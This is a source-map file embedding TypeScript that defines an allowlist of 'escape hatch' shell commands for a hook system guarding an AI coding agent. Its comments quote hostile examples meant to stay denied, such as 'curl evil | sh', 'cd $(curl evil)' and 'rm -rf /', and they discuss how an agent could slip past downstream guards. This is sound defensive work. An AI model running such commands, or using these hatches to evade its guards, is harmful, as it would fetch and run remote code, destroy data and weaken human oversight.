can express\n // \"an Edit whose target is this file\", and a Bash-shaped entry would face the shadowing and\n // single-non-cure-entry invariants that only apply to commands.\n //\n // `pass`, never `allow`, and be precise about what that buys. It is L0 declining to be TERMINAL, so\n // the call falls through to whatever runs next — it is NOT a promise that L1/L2 then judge the edit.\n // The runner carves the same two files out on its own edit path (an early `return null`, beside the\n // webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and\n // of every worktree — and no other package.json in the repo.\n new L0AllowEntry(\n `a Write/Edit whose target is a tree ROOT's ${WORKSPACE_MANIFEST} or ${PACKAGE_MANIFEST} - the version pin`,\n 'pass',\n false,\n null,\n null,\n EVERY_HARNESS,\n new L0Call('Edit', '', `/repo/${WORKSPACE_MANIFEST}`),\n [new L0Call('Write', '', `/repo/${PACKAGE_MANIFEST}`)],\n ),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(\n `${RECOVERY_CMD} - the cure for a CORRUPT node_modules`,\n 'allow',\n true,\n RECOVERY_BODY_ERE,\n RECOVERY_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', RECOVERY_CMD, ''),\n ),\n // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call\n new L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'git fetch', ''),\n [new L0Call('Bash', 'git fetch --prune origin main', '')]),\n // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare\n // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.\n new L0AllowEntry(CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', CHECKOUT_MAIN_PULL_CMD, '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the\n // messages name must be reachable from inside the block those messages are read under.\n new L0AllowEntry(PRUNE_UNKNOWN_COMMAND, 'allow', true, PRUNE_CONFIG_BODY_ERE, PRUNE_CONFIG_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', PRUNE_UNKNOWN_COMMAND, ''),\n [new L0Call('Bash', 'pnpm exec wp-prune-unknown-config', '')]),\n new L0AllowEntry(\n MIGRATE_DIRS_COMMAND, 'allow', true,\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-migrate-dirs([[:space:]]+--stage)?',\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-migrate-dirs(\\\\s+--stage)?',\n EVERY_HARNESS, new L0Call('Bash', MIGRATE_DIRS_COMMAND, ''),\n [new L0Call('Bash', `${MIGRATE_DIRS_COMMAND} --stage`, '')],\n ),\n new L0AllowEntry(\n `${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`,\n 'allow',\n true,\n INSTALL_HOOKS_BODY_ERE,\n INSTALL_HOOKS_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')],\n ),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(\n `${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`,\n 'allow',\n true,\n ADD_HOOK_PKG_BODY_ERE,\n ADD_HOOK_PKG_BODY_JS,\n EVERY_HARNESS,\n new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ],\n ),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n // CODEX ONLY — entry 1's twin for the harness that has no `Read` tool. See CODEX_READ_BODY_ERE for\n // the deadlock it removes, why it is exactly as wide as core/shell-read-parity.ts, and why it alone\n // carries no `cd` prefix and no capture tail.\n //\n // NOT a cure (`cure: false`), for the identical reason read-only orientation is not one: it repairs\n // nothing, so on a HEALTHY tree it must not bypass L1 — a Codex `cat` still meets the ordinary bash\n // guards. And `pass`, not `allow`, so it mirrors entry 1 exactly: where the bin is running (fault\n // S) the read falls THROUGH to read-stale-guard, and where it is not (D/X/U/K) the sh half is\n // terminal by construction, which is the documented asymmetry entry 1 already has.\n new L0AllowEntry(\n 'CODEX ONLY - a read-shaped Bash command (the harness has no Read tool): ' +\n `${[...READ_COMMANDS].join(', ')}, or sed -n '<range>p'`,\n 'pass',\n false,\n CODEX_READ_BODY_ERE,\n CODEX_READ_BODY_JS,\n 'codex',\n new L0Call('Bash', CODEX_READ_CMD, ''),\n [\n new L0Call('Bash', 'cat webpieces.config.json', ''),\n new L0Call('Bash', 'head -50 .webpieces/instruct-ai/webpieces.guard-matrix.md', ''),\n new L0Call('Bash', 'tail -n 20 package.json', ''),\n new L0Call('Bash', \"cat '/Users/dean hiller/repo/package.json'\", ''),\n ],\n ),\n];\n\n// The UNGATED bodies — every entry that is not scoped to one harness. A gated entry is spliced into its\n// own union below instead, which is what makes it unreachable from the harness it is not for.\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.ere === null || e.harness !== EVERY_HARNESS ? [] : [e.ere],\n);\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.js === null || e.harness !== EVERY_HARNESS ? [] : [e.js],\n);\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\n//\n// A harness-GATED entry is excluded here too, and not merely because today's one is a non-cure: this\n// union is consulted by runner.ts where NO harness has been established either, so a gated body spliced\n// in would be judged with the gate missing — i.e. reachable from the harness it was written to exclude.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] =>\n e.js === null || !e.cure || e.harness !== EVERY_HARNESS ? [] : [e.js],\n);\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n"]}
|
|
1
|
+
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/agent-workflow-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":";;;AAAA,8DAAiE;AACjE,0DAA2D;AAC3D,0DAA6D;AAC7D,0DAAoG;AAEpG,mGAAmG;AACnG,8DAA8D;AAC9D,yCAAiE;AACjE,qGAAqG;AACrG,mGAAmG;AACnG,kFAAkF;AAClF,mDAA0F;AAC1F,mFAA2E;AAE3E,iGAAiG;AACjG,uGAAuG;AACvG,mFAAmF;AACnF,yDAAsD;AAEtD,wGAAwG;AACxG,yGAAyG;AAEzG,8EAA8E;AAC9E,uGAAuG;AACvG,oFAAoF;AACpF,EAAE;AACF,+FAA+F;AAC/F,+FAA+F;AAC/F,mGAAmG;AACnG,8EAA8E;AAC9E,yFAAyF;AACzF,w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AC,CAAC;AAErE,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,sGAAsG;AACtG,sGAAsG;AACtG,sGAAsG;AACtG,4DAA4D;AAC5D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,mGAAmG;AACnG,uGAAuG;AACvG,EAAE;AACF,qGAAqG;AACrG,wGAAwG;AACxG,wGAAwG;AACxG,MAAM,iBAAiB,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CACzE,CAAC,CAAC,EAAE,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,CAAC,OAAO,KAAK,wBAAa,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CACxE,CAAC;AACW,QAAA,gBAAgB,GACzB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC","sourcesContent":["import { MIGRATE_DIRS_COMMAND } from '@webpieces/tooling-common';\nimport { PACKAGE_MANIFEST } from '@webpieces/rules-config';\nimport { WORKSPACE_MANIFEST } from '@webpieces/rules-config';\nimport { CONFIG_FILENAME, EDIT_TOOLS_PHRASE, PRUNE_UNKNOWN_COMMAND } from '@webpieces/rules-config';\n\n// The shape of ONE entry, in its own module so the LIST below is not crowded out by the types that\n// describe it. `./shim` stars both, so consumers see no seam.\nimport { EVERY_HARNESS, L0AllowEntry, L0Call } from './l0-entry';\n// The harness-GATED half of L0, in its own module for the same size reason this one was split out of\n// ./shim. It owns the read-shaped vocabulary AND the union built from it; this file owns the entry\n// that puts it on the list, so the dependency runs one way and there is no cycle.\nimport { CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, CODEX_READ_CMD } from './l0-codex-read';\nimport { READ_COMMANDS } from '@webpieces/hook-runtime/harness-vocabulary';\n\n// The tool-shaped half of the same list, in its own module so BOTH L0 halves can read it without\n// importing each other. NOT re-exported from here — `./shim` is the ONE name that gathers L0 (it stars\n// all three modules), and a second path to the same constant is a second spelling.\nimport { L0_IGNORED_TOOLS } from './l0-ignored-tools';\n\n// The two MANIFESTS a version pin lives in, named once so the allowlist, isAllowed(), the rendered shim\n// and the runner cannot drift into four spellings. See isRootManifest: a tree ROOT's copy of these only.\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// Cures tolerate output-only stderr redirection and a numeric head/tail pipe. This keeps\n// ordinary diagnostic capture usable without granting arbitrary pipelines or mutations.\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY\n// L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named\n// for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it\n// short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:\n// `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and\n// destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all\n// computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and\n// this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it\n// surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.\n//\n// The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal\n// here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks\n// it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE\n// `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard\n// either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a\n// terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching\n// branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).\n// webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call\nconst FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\n// webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call\nconst FETCH_BODY_JS = 'git\\\\s+fetch(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.\n//\n// `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not\n// merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what\n// earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. When the\n// agent is ALREADY on main the checkout is a harmless no-op, so this one literal covers the on-main case\n// too and needs no second entry.\n//\n// ─── WHY L0 KEEPS THE RAW GIT WHILE THE WORKFLOW LAYER MOVED TO `pnpm wp-sync-main` ─────────\n// `wp-sync-main` is this exact pairing with `wp-cleanup` and the orphan-directory sweep welded\n// on, and the WORKFLOW guards (stale-main-bash-guard's preferred cure, merged-branch-message,\n// TreeRecovery, the L2 rows) now prescribe it instead of these two git commands — one intention, one\n// spelling, and the sweep actually runs.\n//\n// THIS ENTRY DELIBERATELY DOES NOT FOLLOW THEM, and that is not the two-spellings shim it looks like.\n// The fault L0 is curing is `node_modules` disagreeing with the pin — which means `node_modules` is\n// PRECISELY the thing that cannot be trusted. A `pnpm wp-*` bin resolves through it, so the one class of\n// cure that may not appear on an L0 allowlist is a cure that has to load the package it is repairing.\n// Raw git needs nothing but git. Replacing this literal with the `pnpm` spelling would delete the only\n// working escape from a deadlock, in the one state where every other tool call is already denied.\n//\n// The two layers are therefore not two spellings of one thing; they are two different things that\n// happen to share a prefix. Read the L0 one as \"get main, with no working package manager\".\n//\n// A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a\n// fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,\n// and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,\n// the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`\n// alone (it cures nothing) and anything chained onto either end.\n// Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).\nconst CHECKOUT_MAIN_PULL_BODY_ERE =\n 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';\n\n// JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CHECKOUT_MAIN_PULL_BODY_JS =\n 'git\\\\s+checkout\\\\s+main\\\\s*&&\\\\s*git\\\\s+pull\\\\s+origin\\\\s+main';\n\nexport const CHECKOUT_MAIN_PULL_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + CAPTURE_TAIL_ERE;\nexport const CHECKOUT_MAIN_PULL_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/**\n * The exact bytes every L0 message prescribing the on-main sync must print.\n *\n * L0 ONLY. The workflow guards prescribe `pnpm wp-sync-main`; this constant is for the faults\n * where `node_modules` is the thing under suspicion and no `pnpm` bin can be relied on to run. See the\n * block comment above CHECKOUT_MAIN_PULL_BODY_ERE for the full argument, and do not \"unify\" the two.\n */\nexport const CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = 